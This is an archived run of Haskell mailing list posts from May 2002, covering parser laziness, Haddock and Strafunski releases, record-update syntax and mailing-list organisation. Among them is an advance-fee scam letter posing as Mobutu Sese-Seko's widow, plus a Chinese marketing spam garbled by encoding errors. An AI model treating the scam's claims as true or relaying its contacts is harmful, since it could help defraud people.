..., .... } > > > > deriving (Set, Apply) > > > > > > Using the keyword "deriving" would probably be a bad idea though :) > > > The set and apply functions could be derived with a standard postfix or > >maybe > > > prefix... fooAp or apFoo. > > > Maybe we could introduce sintax to specify it... > > > > deriving (Set with "set", Apply with "ap") > > > > > > I don't know... I'm just brainstorming right now. > > > Having actual functions is important. I don't think I have to explain > >why to > > > people in this mailing list :-) > > > > > > > Anyway, does such a thing exist, and, if not, is there any chance it > >could > > > > exist, or is it just syntactic salt to too many people? :) > > > I whish you better luck than I've had so far whenever making posts about > >this > > > same issue ;) > > _________________________________________________________________ > MSN Photos is the easiest way to share and print your photos: > http://photos.msn.com/support/worldwide.aspx > > _______________________________________________ > Haskell mailing list > Haskell@haskell.org > http://www.haskell.org/mailman/listinfo/haskell > From hdaume@ISI.EDU Wed May 8 17:54:17 2002 From: hdaume@ISI.EDU (Hal Daume III) Date: Wed, 8 May 2002 09:54:17 -0700 (PDT) Subject: Are Happy-generated parsers lazy? In-Reply-To: <9584A4A864BD8548932F2F88EB30D1C6091D13A1@TVP-MSG-01.europe.corp.microsoft.com> Message-ID: I don't know if this applies in your situation with XML, but I ran into this wall a few months back. In my case, I'm reading a whole lot of objects of the same type from a file. That is, my top level rule in my parser looks something like: TreeList : Tree TreeList { $1:$2} | {- empty -} { [] } Unfortunately, ofen the files I'm parsing have thousands of large trees and take up around a gigabyte of disk space. What I did to get around this laziness thing was: I can identify at the lexing stage the tree breaks (in my case there's a blank line followed by an id followed by a tree without any blank lines). Then, I changed my lexer from String -> [Token] to String -> [[Token]] where each element in the returned list is the tokens for just one tree; I can then parse each lazily. I don't know if such a think is applicable to your problem, but it worked for me... - Hal -- Hal Daume III "Computer science is no more about computers | hdaume@isi.edu than astronomy is about telescopes." -Dijkstra | www.isi.edu/~hdaume On Wed, 8 May 2002, Simon Marlow wrote: > > I am running into trouble with the HaXml parser because it is > > not lazy. > > Hence I am considering to abondon the use of XML as data-exchange > > format. Anyway, XML documents are too verbose. > > > > Now I wonder whether Happy-generated parsers are lazy? > > If you mean will it parse the input lazilly and return a lazy parse > tree, then the answer is no. Happy uses LALR(1) parsing, which means > that it needs to see the end of a syntactic object before reducing it. > > Cheers, > Simon > > _______________________________________________ > Haskell mailing list > Haskell@haskell.org > http://www.haskell.org/mailman/listinfo/haskell > From awfurtado@uol.com.br Wed May 8 06:05:36 2002 From: awfurtado@uol.com.br (Andre W B Furtado) Date: Wed, 8 May 2002 02:05:36 -0300 Subject: Haddock installing problems Message-ID: <000501c1f64d$ffce2820$62d8bfc8@windows9> I was trying to install/compile Haddock 0.1 in my computer (Windows98 + Cygwin, GHC-5.02.3), but I got the following error message: You must install the version of Perl shipped with GHC (or a compatible one) in /bin. I though I already had a version of Perl in my computer, since HOpenGL (which uses it) was compiled succesfully. My /bin dir also contains a file called perl.exe and another dir called Perl (which contains perl.exe too). Can anyone help me? Thans a lot, -- Andre From Ralf.Laemmel@cwi.nl Wed May 8 19:14:34 2002 From: Ralf.Laemmel@cwi.nl (Ralf Laemmel) Date: Wed, 08 May 2002 20:14:34 +0200 Subject: Strafunski: New Edition Message-ID: <3CD96B0A.295C7779@cwi.nl> Strafunski is a bundle that provides support for generic programming in Haskell, based on the concept of a functional strategy. Functional strategies are generic functions that (i) can be applied to any type, (ii) allow generic traversal into subterms, (iii) can be customized with type-specific behaviour, (iv) are first-class citizens. Strafunski consists of a combinator library (StrategyLib) and a precompiler (DrIFT-Strafunski). Release 2.0 of StrategyLib and release 1.4 of the Strafunski variation on DrIFT are now available from: http://www.cs.vu.nl/Strafunski/ Please refer to the above URL for documentation and download information. StrategyLib ----------- Changes with respect to the previous release include: * Added many combinators to the library, and split up the module StrategyLib into: - The top-level module StrategyLib which imports all other modules. - A range of `theme' modules into which combinators are grouped according to the concerns they address. Among these are the TraversalTheme, the FlowTheme, the EffectTheme, the KeyholeTheme, the FixpointTheme, and more. - A module StrategyOverloading that allows type-unifying and type-preserving combinators to be treated in uniform manner. - A module StrategyPrelude which defines basic combinators that can be defined in term of truly primitive ones. - Some modules that do not provide strategy combinators but general utilities functions, such as MonadicFunctions, and MonadRun. * The underlying term representation has been improved. Conversion to/from this representation during generic traversal is now more efficient. Also, instances of the Term class have been added for the basic types Char, Int, 2-tuples, Either and Ratio. * The various theme modules feature many of the combinators that illustrate the design patterns for functional strategic programming as presented in [1]. * Added a number of examples, including one that demonstrates strategic programming on the abstract syntax of Haskell. The new term representation was contributed by John Meacham. DrIFT-Strafunski ---------------- Changes with respect to previous versions include: * Merger of instances derivation rules with those of jDrIFT. In particular, the rule for Term now supports the term representation module based on Dynamic as available in StrategyLib version 2.0. * Instance derivation for the ATermConvertible class, as available in the Haskell ATerm Library. * Command line option -r for generating instances only, i.e. not repeating the contents of the input file itself. * Command line option -g that allows global directives to be specified on the command line instead of in the input file. The DrIFT-Strafunski package was based on the original implementation of DrIFT by Noel Winstanley and its updated implementation by Malcolm Wallace. The new instance derivation rule for Term was contributed by John Meacham. We hope DrIFT-Strafunski will soon be made redundant by John's unifying implementation: jDrIFT. Background ---------- The following papers provide useful background info: [1] Ralf Laemmel and Joost Visser Design Patterns for Functional Strategic Programming. http://www.cs.vu.nl/Strafunski/dp-sf/ This paper seeks to provide practicing functional programmers with pragmatic guidance in crafting their own strategic programs. It presents the fundamentals and the support from a user's perspective, and includes a catalogue of design patterns. Read this paper if you want to use Strafunski. [2] Ralf Laemmel and Joost Visser Typed Combinators for Generic Traversal http://www.cs.vu.nl/Strafunski/sf/ This paper introduces the concept of functional strategies. It shows how strategies are modelled inside Haskell, and it present the first version of StrategyLib. Read this paper if you want to know what makes Strafunksi work. [3] Ralf Laemmel A Polymorphic Symphony http://www.cwi.nl/~ralf/polymorphic-symphony/ This paper reconstructs functional strategies as an amalgamation of certain bits of parametric polymorphism, type case, polytypism, and overloading. Read this paper if you want to know how Strafunski can be generalized and how it may look in future. Feedback is much appreciated, and can be directed to the authors: * Ralf Laemmel (mailto:ralf@cwi.nl) * Joost Visser (mailto:Joost.Visser@cwi.nl) Have fun! From edwardocanata@yahoo.com Wed May 8 19:29:30 2002 From: edwardocanata@yahoo.com (MRS. M SESE-SEKO) Date: Wed, 8 May 2002 20:29:30 +0200 Subject: (no subject) Message-ID: <20020508182535.7318A422231@www.haskell.org> FROM=3AMRS=2E M SESE-SEKO DEAR FRIEND=2E I AM MRS=2E MARIAM SESE-SEKO WIDOW OF LATE PRESIDENT MOBUTU SESE-SEKO OF ZAIRE=3F NOW KNOWN AS DEMOCRATIC REPUBLIC OF CONGO =28DRC=29=2E I AM MOVED TO WRITE YOU THIS LETTER=2C THIS WAS IN CONFIDENCE CONSIDERING MY PRESENT CIRCUMSTANCE AND SITUATION=2E I ESCAPED ALONG WITH MY HUSBAND AND TWO OF OUR SONS TIMOTHY AND BASHER OUT OF DEMOCRATIC REPUBLIC OF CONGO =28DRC=29 TO ABIDJAN=2CCOTE D'IVOIRE WHERE MY FAMILY AND I SETTLED=2C WHILE WE LATER MOVED TO SETTLED IN MORROCO WHERE MY HUSBAND LATER DIED OF CANCER DISEASE=2E HOWEVER DUE TO THIS SITUATION WE DECIDED TO CHANGED MOST OF MY HUSBAND'S BILLIONS OF DOLLARS DEPOSITED IN SWISS BANK AND OTHER COUNTRIES INTO OTHER FORMS OF MONEY CODED FOR SAFE PURPOSE BECAUSE THE NEW HEAD OF STATE OF =28DR=29 MR LAURENT KABILA HAS MADE ARRANGEMENT WITH THE SWISS GOVERNMENT AND OTHER EUROPEAN COUNTRIES TO FREEZE ALL MY LATE HUSBAND'STREASURES DEPOSITED IN SOME EUROPEAN COUNTRIES=2E HENCE MY CHILDREN AND I DECIDED LAYING LOW IN AFRICA TO STUDY THE SITUATION TILL WHEN THINGS GETS BETTER=2C LIKE NOW THAT PRESIDENT KABILA IS DEAD AND THE SON TAKING OVER=28JOSEPH KABILA=29=2E ONE OF MY LATE HUSBAND'S CHATEAUX IN SOUTHERN FRANCE WAS CONFISCATED BY THE FRENCH GOVERNMENT=2C AND AS SUCH I HAD TO CHANGE MY IDENTITY SO THAT MY INVESTMENT WILL NOT BE TRACED AND CONFISCATED=2E I HAVE DEPOSITED THE SUM OF $80 MLLION UNITED STATE DOLLARS =28US$80=2C000=2C000=2C00=2E=29 WITH A SECURITY COMPANY =2C FOR SAFEKEEPING=2E THE FUNDS ARE SECURITY CODED TO PREVENT THEM FROM KNOWING THE CONTENT=2E WHAT I WANT YOU TO DO IS TO INDICATE YOUR INTEREST THAT YOU WILL ASSIST US BY RECEIVING THE MONEY ON OUR BEHALF IN EUROPE=2E I WANT YOU TO ASSIST IN INVESTING THIS MONEY=2C BUT I WILL NOT WANT MY IDENTITY REVEALED=2E I WILL ALSO WANT TO BUY PROPERTIES AND STOCK IN MULTI-NATIONAL COMPANIES AND TO ENGAGE IN OTHER SAFE AND NON-SPECULATIVE INVESTMENTS=2E MAY I AT THIS POINT EMPHASISE THE HIGH LEVEL OF CONFIDENTIALITY=2C WHICH THIS BUSINESS DEMANDS=2C AND HOPE YOU WILL NOT BETRAY THE TRUST AND CONFIDENCE=2C WHICH I REPOSE IN YOU IN CONCLUSION=2C IN THE EVENT YOU ARE INTRESTED TO ASSIST US I WILL LIKE YOU TO CONTACT MY LAWYER WHO I HAVE STATIONED IN HOLLAND TO WITHNESS THE TRANSACTION TO IS CONCLUTION=2EYOU CAN REACH HIM ON IS DIRECT LINE WHICH IS +31-612-480 860 OR VIA MAIL WESTEPHENS=5F4000=40SPINFINDER=2ECOM=2EHIS NAME IS STEPHENS AND I HAVE THE FALL TRUST IN HIME=2E I SINCERELY WILL APPRECAITE YOUR ACKNOWLEDGMENT AS SOON AS POSSIBLE=2E BEST REGARDS=2C MRS M=2E SESE SEKO From Joost.Visser@cwi.nl Wed May 8 19:28:40 2002 From: Joost.Visser@cwi.nl (Joost Visser) Date: Wed, 08 May 2002 20:28:40 +0200 Subject: Haskell ATerm Library References: <3CD96B0A.295C7779@cwi.nl> Message-ID: <3CD96E58.6F4BC5AD@cwi.nl> Release 1.2 of the Haskell ATerm Library is now available from: http://www.cwi.nl/projects/MetaEnv/haterm/ This package provides support for ATerms in Haskell. Currently this includes the following: * Representation of ATerms (no sharing). * Reading and writing ATerms to/from Strings, either in plain textual format (TXT), or in maximally shared textual format (TAF). * Conversion betweens ATerms and user types. To enable the latter feature, you need to provide instances of the ATermConvertible class for all the datatypes that you want to convert to/from ATerms. Automatic generation of instances is supported by the DrIFT-Strafunski pre-compiler (version 1.4 and upward), which is available from: http://www.cs.vu.nl/Strafunski/ (We hope that soon jDrIFT will make this version of DrIFT redundant.) For details on how to use and install these packages, see the README and example files in the respective distributions. ATerms ------ The ATerms provide a generic format for representation and exchange of (annotated) terms. The ATerm Library (http://www.cwi.nl/projects/MetaEnv/aterm/) provides implementations of the ATerm Library in C and Java, including numerous ATerm command line utilities implemented in C. ATerms were developed in the context of the ASF+SDF Meta-Environment. They are also used by the rewriting language Stratego, by the transformation tool bundle XT, by the visitor generator JJForester, and by numerous other tools developed at CWI, Universiteit Utrecht, and elsewhere. Contributions ------------- The Haskell ATerm Library was initiated by Joost Visser. Improvement were contributed by Klaus Luettich. Links ----- Strafunski http://www.cs.vu.nl/Strafunski/ ATerm Library for C and Java http://www.cwi.nl/projects/MetaEnv/aterm/ ATerm Library for Java (alternative implementation) http://www.loria.fr/equipes/protheo/SOFTWARES/ELAN/Toolkit/ XT (transformation tool bundle) http://www.program-transformation.org/xt/ Stratego http://www.stratego-language.org/ JJForester http://www.jjforester.org/ From C.Reinke@ukc.ac.uk Wed May 8 21:21:55 2002 From: C.Reinke@ukc.ac.uk (C.Reinke) Date: Wed, 08 May 2002 21:21:55 +0100 Subject: ANNOUNCE: Haskell Communities and Activities Report (2nd edition) Message-ID: Dear fellow Haskellers, just about six months ago, the first edition of the HC&A Report was released, with the goal of helping to improve the communication between the various groups, projects, and individuals working on or with Haskell. The idea of these reports is simple: Every six months, a call goes out to all of you to contribute brief summaries of your own area of work. I then collect all these into a single report and feed it back to this very mailing list. Over the last few weeks, a lot of you have responded (eagerly, unprompted, and well in time for the deadline;-) to the call for contributions to the second edition of this report, and after the usual delays, I'm happy to announce that the Haskell Communities and Activities Report (2nd edition) is now available from the Haskell Communities home page http://www.haskell.org/communities/ The report is available for download in PDF (with working links and index, yet printable) or, for those who have problems with the PDF, in HTML (using John's secret weapon, thanks again) and Postscript. A big thanks here to everyone who contributed information to the report! I hope you will find it as interesting to read as we did. And when we try for the next update in six months, you might want to add your own work, project, research area or group as well. So, please, put that item for October 2002 into your diary now!-) Enjoy (and communicate;-)! Claus Reinke -- Computing Laboratory University of Kent at Canterbury http://www.cs.ukc.ac.uk/people/staff/cr3/ From diatchki@cse.ogi.edu Thu May 9 02:27:18 2002 From: diatchki@cse.ogi.edu (Iavor S. Diatchki) Date: Wed, 08 May 2002 18:27:18 -0700 Subject: updating labelled fields References: Message-ID: <3CD9D076.2030903@cse.ogi.edu> Hello, I am not sure if this is what is needed, but you can do the following in Hugs (with extensions): data T = T { x :: Int , y :: Char } f s@T {x} = s { x = x + 1 } This increments the first field in the record, and leavs the second one unchanged. It makes use of punning, a very useful feature I think, which unfortunately was removed from Haskell, I am not sure why. It is still supported in Hugs however. bye Iavor From simonpj@microsoft.com Thu May 9 08:48:17 2002 From: simonpj@microsoft.com (Simon Peyton-Jones) Date: Thu, 9 May 2002 00:48:17 -0700 Subject: duplicate instance declarations Message-ID: <1113DDB24D4A2841951BFDF86665EE1901041E6A@RED-MSG-10.redmond.corp.microsoft.com> Two instances are duplicates if their 'head' (the part after the =3D>) = is identical, modulo alpha renaming. Even with overlapping instances allowed, GHC never makes an arbitrary choice between two instance decls. It choses one over the other only if its head is more specific (i.e. a substitution instance). This will never happen in the case of duplicate instance decls, so GHC rejects duplicates up front. GHC's resolution of overlapping instances does not use backtracking, so it is quite weak. For example =09 instance C a =3D> X a where ... instance D a =3D> X a where ... You might think that if a type T is an instance of C but not D, then it would be clear which of these two instances to use to resolve the constraint (X T), but GHC does not spot that. It uses only the instance head. I hope this clarifies a bit. =20 Simon | -----Original Message----- | From: Hal Daume III [mailto:hdaume@ISI.EDU]=20 | Sent: 03 May 2002 18:33 | To: C T McBride | Cc: Haskell Mailing List | Subject: Re: duplicate instance declarations |=20 |=20 | Cool, thanks, that made sense. |=20 | > [lots of stuff snipped] |=20 | What's the difference, then, between "duplicate instances"=20 | and "overlapping" instances? It seems that even with=20 | -fallow-overlapping-instances and even=20 | -fallow-undecidable-instances ghc still rejects the code I had. |=20 | _______________________________________________ | Haskell mailing list | Haskell@haskell.org http://www.haskell.org/mailman/listinfo/haskell |=20 From Jeremy.Gibbons@comlab.ox.ac.uk Thu May 9 15:47:28 2002 From: Jeremy.Gibbons@comlab.ox.ac.uk (Jeremy Gibbons) Date: Thu, 9 May 2002 15:47:28 +0100 (BST) Subject: Summer School on Generic Programming: early reg deadline 17th May Message-ID: <200205091447.PAA15264@icarus.comlab> A reminder: the early registration deadline for the Summer School on Generic Programming is Friday 17th May. Jeremy * Summer School and Workshop on Generic Programming St Anne's College, Oxford, UK 26th to 30th August 2002 In conjunction with Summer School and Workshop on Advanced Functional Programming This school is a successor to the Summer School and Workshop on Algebraic and Coalgebraic Methods in the Mathematics of Program Construction, held in Oxford in April 2000 and with lecture notes shortly to appear as LNCS 2297. For this school we have recruited an excellent group of lecturers on generic programming, that is, the construction of programs that work on different datatypes and yet may exploit the structure of that data. ************ Lecturers ************ * Roland Backhouse (University of Nottingham): A Generic Theory of Datatypes * Peter Buneman (University of Edinburgh): Semi-Structured Data * Roy Crole (University of Leicester): Categories and Types * Jose Luiz Fiadeiro (University of Lisbon and ATX Software): Theory and Practice of Software Architecture * Ralf Hinze (University of Bonn) and Johan Jeuring (University of Utrecht): Generic Haskell * Martin Odersky (Ecole Polytechnique Federale de Lausanne): Object-Oriented and Functional Approaches to Compositional Programming ************ Deadlines ************ For registration with an early-bird discount: 17th May 2002 For late registration: 12th July 2002 ************ Organizers ************ Roland Backhouse (University of Nottingham) Jeremy Gibbons (University of Oxford) ************ Further information ************ Web: http://www.comlab.ox.ac.uk/oucl/research/areas/ap/ssgp/info.html PDF poster: http://www.comlab.ox.ac.uk/oucl/research/areas/ap/ssgp/ssgp-poster.pdf Email: ssgp-info@comlab.ox.ac.uk Post: SSGP, c/o Jane Ellory, Oxford University Computing Laboratory, Wolfson Building, Parks Road, Oxford OX1 3QD, United Kingdom. Fax: +44 1865 273839; mark "fao SSGP (Jane Ellory)" From rakdver@hotmail.com Thu May 9 15:55:33 2002 From: rakdver@hotmail.com (Zdenek Dvorak) Date: Thu, 09 May 2002 14:55:33 +0000 Subject: updating labelled fields Message-ID: Hello. >I like this idea, but I think it will cause ambiguity in >parsing. Consider: > >blah = do {foo} ... > >should foo be parsed as a statement list (under the assumption that the >open brace is instead of using layout) or as an assignment, as in: > >blah = do {foo} > x <- bar > >(which probably wouldn't typecheck, but we don't know that at parsing.) i >could be wrong and it might be able to be made work, but i'm not >convinced... I don't think this is ambigous -- do is a keyword, so no record field update can be assumed after it. Zdenek _________________________________________________________________ Chat with friends online, try MSN Messenger: http://messenger.msn.com From simonmar@microsoft.com Thu May 9 17:44:38 2002 From: simonmar@microsoft.com (Simon Marlow) Date: Thu, 9 May 2002 17:44:38 +0100 Subject: ANNOUNCE: Haddock version 0.2, a Haskell documentation tool Message-ID: <9584A4A864BD8548932F2F88EB30D1C6091D18D1@TVP-MSG-01.europe.corp.microsoft.com> I'm pleased to announce version 0.2 of Haddock, a documentation generation tool for Haskell source code. It's available from http://www.haskell.org/haddock/ The changes relative to version 0.1 are listed here: http://www.haskell.org/haddock/CHANGES.txt Cheers, Simon From sales137@163.com Thu May 9 12:34:19 2002 From: sales137@163.com (sales137@163.com) Date: Thu, 9 May 2002 07:34:19 -0400 Subject: Ãâ·ÑÌṩ¹ØÓÚ»¥ÁªÍøÓªÏú·½·¨µÄ¼¼Êõ×Éѯ Message-ID: <200205091134.g49BYJf25054@localhost.localdomain> »¥ÁªÍø·¢Õ¹µ½½ñÌìÒѾ­±»´ó¶àµÄÉ̼ÒËùÀûÓã¬ÕâÊÇÍÆ¹ãÉ̼ҲúÆ·³É±¾×îµÍÓÖÓÐЧµÄÓªÏú²ßÂÔ¡£ µ«ÓеÄÈËËäÈ»½¨Á¢µÄÍøÕ¾£¬µ«È´Ã»°ÑÍøÕ¾ÍÆ¹ã³öÈ¥£»ÓеÄÈËÌìÌì¶¼ÉÏÍø£¬µ«È´Ã»°Ñ×Ô¼ºµÄ²ú Æ··¢²¼µ½ÍøÉÏÈ¥¡£ÏÖÔÚ£¬ÎÒÃÇͨ¹ýһЩרҵµÄÈí¼þ£¬¿ÉÒÔÒ»´ÎÐԵġ¢¼òµ¥µÄ¡¢Ñ¸ËٵĽ«ÄúµÄ ÍøÕ¾¼°²úÆ·ÍÆ¹ãµ½¸÷¸öÒýÇæ¼°ÉÌÎñÕ¾µãÉÏ£¡ ---ÎÒÃǵķþÎñ--- 1¡¢Ãâ·Ñ·þÎñ£º Ãâ·ÑÌṩ¹ØÓÚ»¥ÁªÍøÓªÏú·½·¨µÄ¼¼Êõ×Éѯ 2¡¢²úÆ·ÐÅÏ¢·¢²¼£º ¹úÄÚÉÌÎñÍøÕ¾·¢²¼ 800¸ö 100Ôª/´Î ¹úÍâÍøÕ¾·¢²¼ 1500¸ö 200Ôª/´Î 3¡¢ÍøÕ¾Íƹ㣺 ÖÐÎÄËÑË÷ÒýÇæµÇ¼ 350¸ö 100Ôª/´Î Ó¢ÎÄËÑË÷ÒýÇæµÇ¼ 3500¸ö 200Ôª/´Î 4¡¢ÆóÒµÃû¼¹âÅÌ£º ÖйúÆóÒµÃû¼¹âÅÌ£¬ÏêϸµÄ˵Ã÷ÁË¡°µ¥Î»Ãû³Æ¡¢·¨ÈË´ú±í¡¢Í¨Ñ¶µØÖ·¡¢ÐÐÕþÇø»®´úÂë¡¢ µç»°¡¢µç»°·Ö»ú¡¢´«Õæ¡¢ Õþ±àÂë¡¢ÓªÒµ·¶Î§¡¢¾­¼ÃÐÔÖÊ¡¢ÆóÒµ¹æÄ£¡¢ÐÐÕþÇø»®¡±¡£ ÆóÒµÃû¼¹âÅÌΪһ¸öAccessµÄÊý¾Ý¿âÎļþ£¬¹²4,390,659¸öÆóÒµ£¬°üº¬100¶à¸öÐÐÒµ¡£ ±¨¼Û£ºÕûÌ×1500ÔªÈËÃñ±Ò£¨Êг¡ÉÏ´óÔ¼ÔÚ4000Ôª~5000Ôª£© °´ÐÐÒµ³öÊÛ£¬Ã¿¸öÐÐÒµ£º100ÔªÈËÃñ±Ò3¡¢ÐÅÏ¢ÊÕ¼¯£º 5¡¢ÐÅÏ¢ÊÕ¼¯£º ÐÐÒµÐÅÏ¢¡¢ÆóҵĿ¼¡¢ÐÐÒµÓʼþµØÖ·µÈ£¬¿É°´¿Í»§ÒªÇó¶©×ö£¬¼Û¸ñÁíÒé¡£ 6¡¢ÍøÕ¾½¨É裺 ÍøÕ¾ÕûÌå²ß»®£¬ÍøÒ³Éè¼Æ¼°ÖÆ×÷£¬¼Û¸ñÁíÒé¡£ ÏëÁ˽â¸ü¶àµÄÄÚÈÝÇëµã»÷ÎÒÃǵÄÍøÕ¾£ºhttp://www.e137.net Ò»ÈýÆßÍøÂçÓªÏú·þÎñÖÐÐÄ ÒµÎñÁªÏµ£ºmail137@163.com ÁªÏµµç»°£º0592-8834438 ¶­ÏÈÉú Íø Ö·£ºhttp://www.e137.net Èç¹û´ËÓʼþ¸øÄú´øÀ´²»±ã£¬±íʾǸÒ⣡ From hdaume@ISI.EDU Thu May 9 22:31:03 2002 From: hdaume@ISI.EDU (Hal Daume III) Date: Thu, 9 May 2002 14:31:03 -0700 (PDT) Subject: updating labelled fields In-Reply-To: Message-ID: > [SNIP] > > I don't think this is ambigous -- do is a keyword, so no record field update > can be assumed after it. Okay, I thought about it some more and I agree. So, as it stands the proposal is to add the following pieces of sugar: 1) ({assignments}) becomes \x->x{assignments} 2) x{as, field =, bs} becomes \y->x{as, field = y, bs} 3) x{as, field, bs} becomes \f->x{as, field = f (field x), bs} So then if we see: ({field=}) this gets desugared to \x -> x{field=} which gets again desugared to \x -> \y -> x{field = y} Similarly, ({field}) becomes \x -> x{field} becomes \x -> \f -> x{field = f (field x)} The only "problem" i see with this is that I would probably want the lambda terms to be in the other order, so, just as you would write: apField f x you would write: ({field}) f x But this is backwards...putting a call to flip in sort of defeats the purpose. One thing that could be done would be to rewrite the rules as: 1) {field=} becomes \y -> ({field=y}) 2) {field} becomes \f -> ({field $= f}) -- assuming $= exists 3) {stuff} becomes \x -> x{stuff} where "stuff" has no dangling = and $= and stuf flike that If we go this route, I would suggest that instead of just {field} in #2, we make it {field $=} to keep parallelism with the $= thingy and to make it clear that we're doing function application. So, again, {field =} ==> \y -> {field=y} -- rule 1, there's a dangling = ==> \y -> \x -> x{field=y} -- rule 3, no dangling things and similarly: {field $=} ==> \f -> {field $= f} -- rule 2, there's a dangling $= ==> \f -> \x -> x{field $= f}-- rule 3, no dnagling things I believe this is still amenable to fitting in the syntax without pouncing on anything. Assuming I can ever get my cvs'd copy of ghc to compile (sigh), I would be willing to implement this if there are no objections... - Hal From ashley@semantic.org Fri May 10 01:27:12 2002 From: ashley@semantic.org (Ashley Yakeley) Date: Thu, 9 May 2002 17:27:12 -0700 Subject: ANNOUNCE: Haddock version 0.2, a Haskell documentation tool Message-ID: <200205100027.RAA04915@mail4.halcyon.com> At 2002-05-09 09:44, Simon Marlow wrote: >I'm pleased to announce version 0.2 of Haddock, a documentation >generation tool for Haskell source code. It's available from > > http://www.haskell.org/haddock/ It's at . -- Ashley Yakeley, Seattle WA From C.Reinke@ukc.ac.uk Fri May 10 18:38:00 2002 From: C.Reinke@ukc.ac.uk (C.Reinke) Date: Fri, 10 May 2002 18:38:00 +0100 Subject: SUGGESTION: haskell-announce mailing list Message-ID: Several contributors to the HC&A Report reported the same problem with the current setup of Haskell mailing lists: In spite of the split into haskell and haskell-cafe, they missed the general calls for contributions on haskell@haskell.org because some of them, being involved in other work as well, only browse the flood of traffic. When the list was originally split into haskell (for announcements and discussion starters) and haskell-cafe (for longer discussions), some of us suggested a separate haskell-announce instead (or indeed, support for client-based filtering instead of this server-based split). In my own setup, postings to haskell and haskell-cafe still go into a single folder, and I separate out announcements and similar things by hand (because I usually don't have the time to follow them up immediately, and because there's no reliable pattern to use for automatic filtering; e.g., this very email I'd filter out into the TODO area, even though it's not strictly speaking an announcement). Even though many discussions move quickly to haskell-cafe, which some of us are no longer subscribed to, the discussion starters and the more technical discussions still seem to generate enough traffic that some Haskellers miss announcements made on haskell. Based on this recent negative experience, I suggest to introduce a separate haskell-announce mailing list. To avoid upsetting the existing split, this ought to be split off the haskell list (i.e., everyone subscribed to haskell would initially be subscribed to haskell and to haskell-announce). Opinions? Suggestions? Cheers, Claus From ashley@semantic.org Sat May 11 02:38:33 2002 From: ashley@semantic.org (Ashley Yakeley) Date: Fri, 10 May 2002 18:38:33 -0700 Subject: SUGGESTION: haskell-announce mailing list Message-ID: <200205110138.SAA05603@mail4.halcyon.com> At 2002-05-10 10:38, C.Reinke wrote: >existing split, this ought to be split off the haskell list (i.e., >everyone subscribed to haskell would initially be subscribed to >haskell and to haskell-announce). > >Opinions? Suggestions? I suggest that all posts to haskell-announce are copied to haskell. Perhaps even the haskell list should itself be subscribed to haskell-announce. And of course then initially no-one should be subscribed to haskell-announce. Furthermore haskell-announce should be moderated, so all posts to it are screened before distribution. This seems to be the standard way of doing things for announce/discussion list pairs. This way people only need to be subscribed to one of them, and there's no chance of missing announcements just because you're only subscribed to one list. -- Ashley Yakeley, Seattle WA From john@repetae.net Sat May 11 02:52:30 2002 From: john@repetae.net (John Meacham) Date: Fri, 10 May 2002 18:52:30 -0700 Subject: SUGGESTION: haskell-announce mailing list In-Reply-To: <200205110138.SAA05603@mail4.halcyon.com> References: <200205110138.SAA05603@mail4.halcyon.com> Message-ID: <20020511015230.GB9134@momenergy.repetae.net> yeah, I really like this because oftentimes an announcment will incite a discussion, this way people can reply to the announcement on the haskell list if they want to discuss it and the people who dont care about anouncements can just stay on the announce list. I Would also be moderately in favor of merging the haskell and haskell-cafe lists back into one, mainly because I always felt the distinction was somewhat arbitrary, who knows what discussions will turn out to be too long or have interesting tangents until it is too late and everyone has said everything on haskell? but this is a different issue. I wonder how many addresses are on haskell and not haskell-cafe or vice versa. John On Fri, May 10, 2002 at 06:38:33PM -0700, Ashley Yakeley wrote: > At 2002-05-10 10:38, C.Reinke wrote: > > >existing split, this ought to be split off the haskell list (i.e., > >everyone subscribed to haskell would initially be subscribed to > >haskell and to haskell-announce). > > > >Opinions? Suggestions? > > I suggest that all posts to haskell-announce are copied to haskell. > Perhaps even the haskell list should itself be subscribed to > haskell-announce. And of course then initially no-one should be > subscribed to haskell-announce. Furthermore haskell-announce should be > moderated, so all posts to it are screened before distribution. > > This seems to be the standard way of doing things for announce/discussion > list pairs. This way people only need to be subscribed to one of them, > and there's no chance of missing announcements just because you're only > subscribed to one list. > > -- > Ashley Yakeley, Seattle WA > > _______________________________________________ > Haskell mailing list > Haskell@haskell.org > http://www.haskell.org/mailman/listinfo/haskell > -- --------------------------------------------------------------------------- John Meacham - California Institute of Technology, Alum. - john@foo.net --------------------------------------------------------------------------- From romildo@uber.com.br Sat May 11 11:41:51 2002 From: romildo@uber.com.br (Jose Romildo Malaquias) Date: Sat, 11 May 2002 07:41:51 -0300 Subject: SUGGESTION: haskell-announce mailing list In-Reply-To: <20020511015230.GB9134@momenergy.repetae.net> References: <200205110138.SAA05603@mail4.halcyon.com> <20020511015230.GB9134@momenergy.repetae.net> Message-ID: <20020511104151.GA2025@darling.home.br> On Fri, May 10, 2002 at 06:52:30PM -0700, John Meacham wrote: > yeah, I really like this because oftentimes an announcment will incite a > discussion, this way people can reply to the announcement on the haskell > list if they want to discuss it and the people who dont care about > anouncements can just stay on the announce list. > > I Would also be moderately in favor of merging the haskell and > haskell-cafe lists back into one, mainly because I always felt the > distinction was somewhat arbitrary, who knows what discussions will turn > out to be too long or have interesting tangents until it is too late and > everyone has said everything on haskell? but this is a different issue. > I wonder how many addresses are on haskell and not haskell-cafe or vice > versa. I am in favor of both sugestions. Romildo -- Prof. José Romildo Malaquias Departamento de Computação - Universidade Federal de Ouro Preto http://www.decom.ufop.br/prof/romildo/ romildo@iceb.ufop.br http://uber.com.br/romildo/ romildo@uber.com.br From jadrian@mat.uc.pt Sat May 11 11:52:23 2002 From: jadrian@mat.uc.pt (Jorge Adriano) Date: Sat, 11 May 2002 11:52:23 +0100 Subject: SUGGESTION: haskell-announce mailing list In-Reply-To: <20020511104151.GA2025@darling.home.br> References: <200205110138.SAA05603@mail4.halcyon.com> <20020511015230.GB9134@momenergy.repetae.net> <20020511104151.GA2025@darling.home.br> Message-ID: <200205111152.23423.jadrian@mat.uc.pt> On Saturday 11 May 2002 11:41, Jose Romildo Malaquias wrote: > > I Would also be moderately in favor of merging the haskell and > > haskell-cafe lists back into one, mainly because I always felt the > > distinction was somewhat arbitrary, who knows what discussions will t= urn > > out to be too long or have interesting tangents until it is too late = and > > everyone has said everything on haskell? but this is a different issu= e. > > I wonder how many addresses are on haskell and not haskell-cafe or vi= ce > > versa. > > I am in favor of both sugestions. I like the actual haskell/haskell-cafe situation. J.A. From mark@chaos.x-philes.com Sat May 11 15:58:11 2002 From: mark@chaos.x-philes.com (Mark Carroll) Date: Sat, 11 May 2002 10:58:11 -0400 (EDT) Subject: SUGGESTION: haskell-announce mailing list In-Reply-To: <200205111152.23423.jadrian@mat.uc.pt> Message-ID: On Sat, 11 May 2002, Jorge 